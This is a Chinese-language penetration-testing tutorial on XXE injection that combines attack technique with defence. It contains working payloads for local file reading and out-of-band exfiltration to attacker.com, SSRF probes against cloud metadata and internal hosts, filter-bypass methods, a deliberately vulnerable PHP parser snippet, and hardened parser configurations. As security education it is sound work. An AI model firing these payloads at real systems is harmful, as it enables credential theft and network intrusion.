写这篇日记的时候，我刚从一个内部授权测试项目里收尾。客户那边有一套老旧的 Java 系统，接口接收 XML 报文做数据同步，我用一个构造好的外部实体请求直接读到了服务器上的应用配置文件，再顺藤摸瓜拿到了数据库账号。整个过程不到半小时，但事后复盘时我在想：为什么都 2025 年了，XXE 这个老掉牙的漏洞还能在企业系统里这么普遍？
答案其实很扎心，大部分系统的 XML 解析器都还停留在「默认配置」阶段，而默认配置几乎都没有考虑过外部实体带来的风险。这篇日记就来完整拆解 XXE 漏洞：从 XML 基础语法、DTD 实体机制，到实战利用的几种典型场景，再到 WAF 绕过思路和防御方案。不管你是刚入门渗透的新手，还是写过不少报告的老手，只要你在和 XML 格式的接口打交道，这篇都值得花几分钟看完。
1. XML 基础：不懂这些，后面全是懵的
1.1 XML 的骨架与语法
在聊 XXE（XML External Entity，XML 外部实体注入）之前，我必须要先带你把 XML 的老底摸清楚。很多新手学 XXE 卡住，问题不是出在利用手法上，而是连 DTD、实体、参数实体这些概念都没理顺，看 payload 就像看天书。
XML 全称是 Extensible Markup Language，可扩展标记语言，核心作用是把数据用结构化的方式存下来或者传出去。一个最简单的 XML 文档大概长这样：
<?xml version="1.0" encoding="UTF-8"?> <user> <name>皮皮宋</name> <age>18</age> <tags> <tag>渗透测试</tag> <tag>XXE研究</tag> </tags> </user>几个要点说一下：第一行是 XML 声明，告诉解析器版本和编码格式；<user>是根元素，整个文档有且只能有一个根；<name>、<age>这些标签之间不允许随便嵌套错乱。XML 设计上比 HTML 严格得多，标签必须闭合，属性值必须加引号，大小写敏感。
这些语法说起来简单，但在渗透测试里，判断一个接口是不是在解析 XML，第一步就是看它对畸形 XML 的反应。我之前测过一个 OA 系统的接口，正常传 JSON 没反应，改成畸形 XML 之后服务器直接返回了 500 错误，里面还带着 libxml2 的报错信息，这就等于明明白白告诉你「我这儿在解析 XML」。
1.2 DTD 与实体：XML 里最容易出事的地方
XML 文档不仅可以描述数据本身，还能通过 DTD（Document Type Definition）来声明这个文档的结构规则。DTD 分两种，一种是内部 DTD，直接写在 XML 文档里，另一种是外部 DTD，通过 URL 引用外部文件。
实体（Entity）是 DTD 里最核心的概念，你可以把它理解成一个「变量」。先声明，然后在 XML 的文本节点里引用它，解析器会自动把变量替换成声明时的值。
先看最基础的通用户内部实体：
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE user [ <!ENTITY myname "皮皮宋"> ]> <user> <name>&myname;</name> </user>这里<!ENTITY myname "皮皮宋">就是在 DTD 里声明了一个实体叫 myname，它的值是字符串「皮皮宋」。下面<name>&myname;</name>引用它，解析器最终看到的就是<name>皮皮宋</name>。
这个机制本身没什么问题，但 DTD 里还支持一种更强大的声明方式，外部实体：
<!DOCTYPE user [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <user> <name>&xxe;</name> </user>注意看，SYSTEM后面跟的不再是一个普通字符串，而是一个 URI。解析器在处理这段 XML 时，会去读取file:///etc/passwd对应的资源，也就是服务器本地的 passwd 文件，然后把它的内容作为实体的值替换进去。
这就是 XXE 最原始的形态：你让解析器去读一个它本不该读的文件。XML 的实体机制被设计为可以引用外部资源，这个初衷是好的，比如多个 XML 文档可以共享同一个 DTD 文件来校验格式，但是当这个能力被攻击者利用、用来读取任意文件或者访问任意内网地址时，它就变成了漏洞。
DTD 里还有一种特殊的实体叫参数实体，用%来声明和引用：
<!DOCTYPE user [ <!ENTITY % payload SYSTEM "http://attacker.com/xxe.dtd"> %payload; ]>参数实体的特殊之处在于它只能在 DTD 内部使用，不能出现在 XML 文档的正文节点里。它在 XXE 盲打和外带数据场景中极其重要，后面 3.2 节会详细讲。
记住三个关键词：DTD 负责声明规则，实体负责定义变量，外部实体负责引用外部资源。当这三样东西组合在一起，并且应用接收了用户可控的 XML 输入时，XXE 的土壤就诞生了。
2. XXE 漏洞原理：信任的叠加导致风险失控
2.1 为什么会产生 XXE
前面我把 XML 的基础概念捋了一遍，现在来回答最关键的问题：为什么 XML 解析器会成为漏洞的温床？
一个 XML 文档从输入到被解析，大致是这样的链路：应用接收外部输入，交给 XML 解析器，解析器按照 XML 规范逐层解析，如果碰到 DOCTYPE 声明，就会读取 DTD，如果 DTD 里引用了外部实体，解析器就按照声明的 URI 去发起资源请求，然后把拿到的内容嵌入到文档结构中。
XXE 之所以产生，是因为这个链条里的两个「信任」出现了叠加：应用信任了用户的输入，认为这段 XML 是合法数据，没有做任何校验；解析器信任了 DTD 的声明，认为实体引用的资源是安全可访问的。攻击者利用的就是这种盲目信任，在有 DOCTYPE 声明时注入恶意实体，让解析器替自己去读取文件或访问内网。
举个例子。假设后端接口这样处理请求数据：
<?php $data = file_get_contents('php://input'); $xml = simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOENT); echo $xml->name; ?>这段代码做了三件「危险」的事：直接读取原始请求体、用simplexml_load_string解析、还开了LIBXML_NOENT选项把实体内容替换进文档。如果攻击者提交的请求体是上一节那个加载外部实体的 XML，这个接口就会把/etc/passwd的内容当成name节点的值返回。
2.2 各语言解析库的默认行为对照
不同语言、不同解析库对 XML 外部实体的处理策略差异非常大，这也是「默认配置害死人」这句话的由来。我把实战中遇到最多的几种情况整理成了一张表：
| 语言 / 解析方式 | 默认是否加载外部实体 | 安全配置要点 |
|---|---|---|
| PHP SimpleXML 旧版 libxml2 | 默认加载 | libxml_disable_entity_loader(true) |
| Java DOM / SAX | 默认加载外部通用实体 | disallow-doctype-decl设为 true |
| Python lxml | 默认支持解析实体 | resolve_entities=False |
| C# XmlDocument | 默认加载 | XmlReaderSettings 禁用 DTD |
| Python xml.etree | 不解析外部实体 | 相对安全，建议继续禁用 |
| Ruby REXML | 旧版本可加载外部实体 | 升级版本或手动禁用 |
| Go encoding/xml | 不加载外部实体 | 本身较安全 |
你观察这个表会发现一个规律：凡是「功能完善」的 XML 解析库，默认都会支持外部实体，比如 Java 的 DOM 和 PHP 的 SimpleXML 就是重灾区；而像 Python 自带的xml.etree这种轻量库，本身就拒绝外部实体，反而安全。
这个规律背后有一个很现实的逻辑：XML 规范从设计之初就把「引用外部资源」定义为合法行为，解析库只是在忠实实现规范。但是没有哪个库能提前预判「引用外部资源」的对象是不是恶意攻击者。安全责任必须由调用方来承担，而不是解析库。
所以做代码审计的时候，看到 XML 解析相关的代码，我的第一反应永远是去查它有没有做三件事：禁用 DOCTYPE、禁用外部通用实体、禁用外部参数实体。三个都没做，这个点基本就能确定存疑了。
2.3 XXE 能造成哪些危害
XXE 的真正危险在于它的利用面极广。按危害程度从低到高排列，我接触过的利用场景至少有这些：
第一类是最常见的文件读取。通过file://协议读取服务器上的任意文件，包括配置文件、密钥文件、源码文件。第二类是 SSRF（Server-Side Request Forgery，服务端请求伪造），借助http://或ftp://协议让服务器主动发起请求，访问内网地址、云元数据接口、内部管理后台。第三类是 DoS（拒绝服务），利用实体嵌套或者「十亿笑」攻击（Billion Laughs Attack，即通过多层实体嵌套导致内存爆炸）直接把服务拖垮。第四类是在特定条件下借助解析器支持的协议实现命令执行，比如 PHP 环境的expect://协议，或者反序列化链配合利用。
这些危害在真实项目中我基本都见过。文件读取最普遍，十个 XXE 里有八个是干这个的；SSRF 是最有「深度」的利用方式，因为它能把攻击面从单一接口扩展到整个内网。防御的本质就是围堵这四类危害，而利用的核心思路则是找到解析器允许的协议边界。
3. 实战利用：从文件读取到内网横向探测
3.1 有回显场景下的文件读取
实战中判断一个接口是否存在 XXE，第一件事不是直接上 File 协议，而是先确认它解析 XML 并且能回显实体内容。最稳妥的探测方式是用一个内部实体做验证：
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY test "xxe_pentest_test_2025"> ]> <root> <item>&test;</item> </root>如果响应里出现了xxe_pentest_test_2025，说明两点：第一，这个接口确实在解析 XML；第二，实体内容会被替换并回显。到这一步，基本就可以断定目标存在实体注入点，接下来直接上外部实体读取文件：
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root> <item>&xxe;</item> </root>响应中如果能看到root:x:0:0:root:/root:/bin/bash这类内容，漏洞就确认了。
读取目标文件的选择是有讲究的。不看系统类型就乱读/etc/passwd这是很多新手的通病，实际上拿到 Shell 权限之前，你应该优先读这些：
| 目标文件 | 为什么值得先读 |
|---|---|
web.xml/application.yml/.env | 数据库密码、Redis 密码、加密密钥 |
.bash_history/.git/config | 历史命令、Git 仓库地址和内部信息 |
hosts//etc/hosts | 内网主机名映射，横向渗透的线索 |
/proc/self/environ | 当前进程环境变量，常含敏感配置 |
Windows 的win.ini/ 配置文件 | 确认系统类型、读取 ini 类配置 |
我有一个习惯：拿到文件读取能力之后，先读部署路径里的配置文件和.git目录里的引用文件，而不是急着读系统密码文件。因为配置文件里常常直接写着数据库账号密码，价值比/etc/passwd高得多，而且.git目录里往往能还原出源码的敏感信息。
3.2 无回显场景：OOB 外带数据
实战中大量 XXE 是盲打，也就是解析器处理了 XML，但响应里不显示实体解析结果。遇到这种情况，不能直接用上面那种「读文件然后看响应」的策略了，得让目标服务器把数据外带回来。这个技术叫 OOB（Out-of-Band，带外数据），核心思路是让目标的解析器在解析外部实体时，主动向攻击者控制的服务器发起一个带数据的请求。
完整链路分三步。第一步，攻击者在自己的 VPS 上准备一个恶意 DTD 文件，比如/xxe.dtd，内容如下：
<!ENTITY % payload SYSTEM "file:///etc/passwd"> <!ENTITY % param1 "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%payload;'>"> %param1;这里有个很绕但很关键的细节：%是百分号%的 HTML 实体编码，因为 DTD 内部不能直接再嵌套声明一个参数实体，所以必须用编码方式在字符串里间接地「声明一个参数实体」。%param1;在 DTD 解析时会展开成一行新的实体声明，这个声明的内容是向攻击者服务器发起一个带/etc/passwd内容的请求。
第二步，构造目标请求的 XML，让它去加载远程 DTD：
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://attacker.com/xxe.dtd"> %remote; ]> <root/>这个 XML 本身不包含任何敏感数据的明文，它只是指示解析器去加载远程 DTD。第三步，在 VPS 上起一个 HTTP 监听服务，比如nc -lvnp 80，然后观察日志：
GET /?data=root%3Ax%3A0%3A0%3Aroot%3A%2Froot%3A%2Fbin%2Fbash HTTP/1.1看到这种带 URL 编码内容的请求，说明外带成功，把内容 URL 解码一下就拿到了目标文件。
这里有一个实操中总结的经验：OOB 链路里最容易断的地方不是构造 XML，而是外带的数据量太大导致 HTTP 请求超时。解决方案是只带关键文件的一小部分内容，或者改用 POST 请求把数据放在 body 里。另外，VPS 的 HTTP 服务建议直接用 Python 写一个简单脚本去接收，因为nc遇到并发连接容易丢包。
3.3 从 XXE 到内网探测：SSRF 的实战价值
XXE 的价值不只是读文件，它能让目标服务器替你去请求任意地址，这本质上是一个 SSRF。攻击者不需要出网，只需要借助目标机器的网络栈就能访问到内网资源。
最经典的利用是访问云环境里的内网元数据接口。很多云平台都给虚拟机提供了一个固定的内网地址，比如常见的 169.254.169.254 就是 AWS 和部分云平台的元数据服务地址，访问它不需要认证就能拿到临时凭证、角色权限信息。有的内网环境里还有专门的内部地址，通过访问这些地址可以直接获取当前主机绑定的角色和密钥。实战中拿到这些凭证，离控制整个云账号就只差一步了。
探测内网存活主机也常用 XXE 来做：
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "http://10.0.0.1:8080/"> ]> <root> <item>&xxe;</item> </root>判断端口是否开放有两个指标：响应时间和响应内容。端口通了，解析器会正常解析完，整个请求耗时正常，响应里可能包含目标服务的信息；端口不通，解析器会报错，或者整个请求的耗时明显拉长。用 Burp Suite 的 Intruder 配合一个字典，就能快速扫一段内网 IP。
实际项目里，我一般不会一上来就大范围扫，而是按这个次序来：先探测网关地址、DNS 服务器、DHCP 服务器，因为这些地址基本是内网的固定基础设施，存活概率极高，然后再探测常见的 Web 端口，最后再尝试访问云元数据接口。这个顺序能最大程度减少请求数量，降低被 IDS/IPS 发现的概率。测完后记得把外带服务器上接收到的内网拓扑数据整理成一条记录，方便后续横向测试参考。
3.4 实战案例复盘：一卡通查询接口的 XXE 利用过程
理论讲再多，不如看一次完整的案例复现。我挑一个印象深刻的授权项目来说。
前两年做一所高校的信息系统安全评估，目标是校园卡一卡通服务平台。这个平台有一个「余额查询」接口，正常请求格式是 JSON：{"card_no": "12345"}。但通过抓包分析，我发现这个接口的底层调用是接收 XML 报文的，有可能是中间层做了数据格式转换。于是我把请求体直接替换成了 XML：
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini"> ]> <root> <card_no>&xxe;</card_no> </root>响应中返回了一个 XML 结构，里面card_no节点赫然出现了win.ini的内容片段，虽然被截断了，但足以确认漏洞存在。确认后我很快把利用方向调整为读取应用配置文件application.yml，一次性拿到了数据库连接串和 Redis 的访问密码。
整个过程有几点值得记录下来：第一，这类型的漏洞往往藏在「格式转换层」，JSON 转 XML、对象转 XML、SOAP 服务，这些转换代码经常直接调用底层解析库的默认配置，安全性完全裸奔。第二，回显内容可能被截断，但截断不影响漏洞确认，后续可以通过调整实体声明位置、分段读取来规避长度限制。第三，这类老系统的补丁周期非常长，确认漏洞后我还顺手检查了同平台的其他几个接口，发现也存在同样的解析问题，说明这是同一段公共代码导致的一处框架性缺陷，系统性修复比单点修复更急迫。
这里必须说清楚，以上所有操作都是在客户授权的评估范围内进行的，拿到数据库密码后我没有做任何进一步的数据访问，只是在报告中完整记录了风险和影响路径。
4. 绕过技巧：过滤规则拦不住所有武器
4.1 关键词黑名单怎么破
很多开发人员防御 XXE 的手段是在代码里对请求体做正则过滤，把SYSTEM、DOCTYPE、file这些关键词直接替换成空字符串或者直接拒绝。听起来很合理，但实战中这种黑名单式的防御有太多办法可以绕过。
最基础的是大小写和编码变形。SYSTEM可以写成System、system，XML 解析器对这些关键字是大小写敏感的，但解析规范兼容性很强，不同解析器对大小写的处理能力不一样。更暴力的是直接把整个 XML 用 UTF-16 编码后再发送，很多 WAF 默认按 ASCII 或 UTF-8 解析请求体，看到一串包含空字节的 UTF-16 内容就识别不出来，但后端的 XML 解析器却能正常处理。
还有一种是拆分与拼接。用参数实体把被过滤的关键字拆成碎片：
<!DOCTYPE root [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?x=%file;'>"> %eval; ]>URL 里那个?x=后面跟的%file;如果被过滤规则替换掉，可以拆成%fi和le;再用注释拼接：%fi<!-- -->le;。这种基于注释的拼接方式是 WAF 绕过的老套路，在 XML 解析场景里同样适用。
4.2 协议兼容面的探索
出现filter系统标识被过滤时，可以换别的协议来读取文件。不同语言环境下能用的协议集合差别很大：
| 环境 | 常用协议 | 典型用途 |
|---|---|---|
| PHP | php://filter/read=convert.base64-encode/resource=... | 读源码、绕过解析限制 |
| Java | jar://、netdoc://、http:// | 读 jar 包内容、访问内网 |
| 通用 | file://、ftp://、http:// | 文件读取、外带数据、SSRF |
PHP 环境特别值得说一下。如果目标过滤了file://，那么php://filter通常还能用，而且它能对文件内容做 base64 编码，这样即使文件内容里有特殊字符导致 XML 解析报错，编码后也能安全传输。Java 环境则更关注jar://协议是否可用，它可能帮你枚举到 classpath 下的敏感资源路径。如果所有协议都被过滤了，还有一个思路是考虑 XInclude 机制，这是 XML 规范的另一个特性，有些防御方只堵 DTD 没堵 XInclude。
4.3 绕过方案速查表
| 防御手段 | 绕过思路 | 难度 |
|---|---|---|
过滤DOCTYPE | 用 XInclude 机制代替 DTD | ★★★ |
过滤SYSTEM、file | UTF-16 编码、大小写混写、注释拼接 | ★ |
过滤http | 换ftp://、jar://、netdoc:// | ★★ |
| 仅禁用外部通用实体 | 用外部参数实体触发加载 | ★★ |
| WAF 校验请求体长度 | 拆分多个短请求分段外带 | ★★★ |
| 屏蔽出网 IP | 用 DNS 解析作为外带通道 | ★★★ |
绕过的核心逻辑其实就一句话：防御方堵住了你熟悉的路径，不代表堵住了所有路径。但这里我要说一句泼冷水的话，绕过不是万能的，遇到setFeature("disallow-doctype-decl", true)这种直接把 DTD 解析关闭的配置，再花里胡哨的绕过技巧都无效，这种情况下就该果断放弃这个点，把时间花在下一个更值得测试的接口上。
5. 防御方案：从配置到架构把路封死
5.1 解析器层：语言层面的安全配置
防御 XXE 最彻底、最省成本的办法就是直接在解析器层面把外部实体和 DTD 全部禁用掉。不同的语言和框架对应的配置代码我整理成了可以直接抄的模板：
PHP 环境，在解析前先禁用外部实体加载：
<?php libxml_disable_entity_loader(true); $xml = simplexml_load_string($input); // PHP 8.0+ 推荐使用 libxml_set_external_entity_loader(null) ?>Java 环境，用 DocumentBuilderFactory 时需要设置五个关键特性：
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); dbf.setXIncludeAware(false);第一行disallow-doctype-decl是决定性的一行，把它设为 true 之后，任何带 DOCTYPE 的 XML 都会直接抛出异常。后面几行是防御纵深，即使某一行配置因为兼容性问题失效，其他配置还能兜底。
Python lxml 环境：
from lxml import etree parser = etree.XMLParser(resolve_entities=False, no_network=True, load_dtd=False) tree = etree.parse(xml_input, parser)C# 环境，使用 XmlReaderSettings：
XmlReaderSettings settings = new XmlReaderSettings(); settings.DtdProcessing = DtdProcessing.Prohibit; settings.XmlResolver = null; XmlReader reader = XmlReader.Create(new StringReader(xmlString), settings);这些配置的共同逻辑是四个「必须」：必须禁止 DTD 声明，必须禁止外部通用实体，必须禁止外部参数实体，必须禁止 XInclude。代码示例里的配置项名可能有细微版本差异，但大方向不会变，审计代码时只要对着一项一项查就行。
5.2 代码设计层：从源头减少 XML 的使用
配置做好了解析器就安全了，但仅靠配置是不够的。同一个系统里可能还有多个解析入口，某个开发为了处理一个边角功能又写了一个新的解析方法，忘了做配置，那漏洞还是会重新冒出来。所以我更强调代码设计层面的两条「防呆」原则。
第一，能不接收 XML 就别接收 XML。现在的 Web 接口绝大多数可以用 JSON，JSON 没有外部实体这个概念，天然免疫 XXE。如果历史原因必须保留 XML，那就把 XML 解析集中收敛到一个公共方法里，统一做安全校验，不允许各个业务模块自己 new 一个解析器出来各个写一遍逻辑。
第二，对 XML 请求体做严格的输入校验，只要有 DOCTYPE 就拒绝：
import re doc_type_pattern = re.compile(r'<!DOCTYPE|<!ENTITY|<!ELEMENT|<!ATTLIST', re.IGNORECASE) if doc_type_pattern.search(xml_payload): raise ValueError("XML contains prohibited DTD declarations")这种正则过滤只做第一层防线，不能作为唯一防御，它过滤不了编码绕过和 XInclude，所以最终防线还是得靠 5.1 节的解析器配置。防御一定要分层，每一层拦掉一部分攻击，最后一层兜底。
5.3 架构层：出网管控与运行隔离
解析器配置做得再好，也还有个问题没法解决：代码是人写的，人总会犯错。所以架构层面的安全措施也很关键。
最有效的一招是服务器的出网管控。XXE 的任何外带通道都需要服务器主动向外部发起网络请求，如果在防火墙上限制只有某些特定白名单 IP 和域名可以出网，其他请求全部拒绝，那么即使攻击者成功注入了恶意实体，数据也传不出去。DNS 外带这种方式要特别注意，如果内网有大规模使用外带通道的现象，建议暂时对未知域名的解析也做告警。
第二招是运行隔离。XML 解析服务如果必须存在，尽量把它部署在以最小权限运行的沙箱环境里，用独立的低权限账号运行，限制它读取系统中其他应用的配置文件，减小单点沦陷时的影响范围。第三招是日志审计，记录异常的 XML 请求，比如带 DOCTYPE 的请求、请求 URL 里出现内网 IP、响应时间异常延长等，这些都是攻击指纹，接入告警平台后能在被利用的第一时间发现。
写在最后
多打几次实战之后你会发现，XXE 在漏洞界的地位其实被严重低估了。它不像 SQL 注入那样名声在外，但在老系统里的出现频率非常高，影响范围却一点不比 SQL 注入小。文件读取、内网探测、凭证窃取，一条链路下来能造成的破坏非常可观。
我个人做渗透的习惯是，拿到授权、翻开目标资产之后，只要看到和 XML、SOAP、DOCX、XLSX、SVG 相关的接口，第一件事就是打一轮实体注入探测。这类格式的应用场景越隐蔽，越容易被人忽略，也就越容易中招。写代码的朋友看到这篇文章，也不妨回头翻翻自己的项目里有没有默认配置的 XML 解析器，趁漏洞还没被利用前把这个口子缝上。安全的本质往往不是那些花哨的攻击手法，而是对每一个信任边界的敬畏。
